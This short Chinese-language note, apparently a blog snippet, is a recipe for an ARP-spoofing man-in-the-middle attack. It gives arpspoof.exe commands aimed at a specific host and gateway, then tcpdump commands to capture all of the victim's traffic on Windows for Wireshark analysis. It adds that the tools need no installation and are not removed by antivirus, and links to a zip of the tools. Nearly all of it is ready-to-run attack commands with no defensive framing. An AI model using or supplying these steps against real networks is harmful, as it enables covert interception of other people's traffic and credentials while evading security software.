arp 欺騙
arpspoof.exe /l 列出網絡接口
arpspoof.exe 192.168.3.1 192.168.3.5 80 0 1
嗅探：
tcpdump -D //查看網絡接口
tcpdump -i 3 -w h.cap -s 0
-s0 表示取消抓包長度限制
否則會導致抓包不全！
win 下的 tcpdump 好處就是 無需安裝wincap 純命令行下操作
殺軟不會干掉
隨后便可用 wireshark 分析數據包
http://files.cnblogs.com/files/ring3/%E5%97%85%E6%8E%A2.zip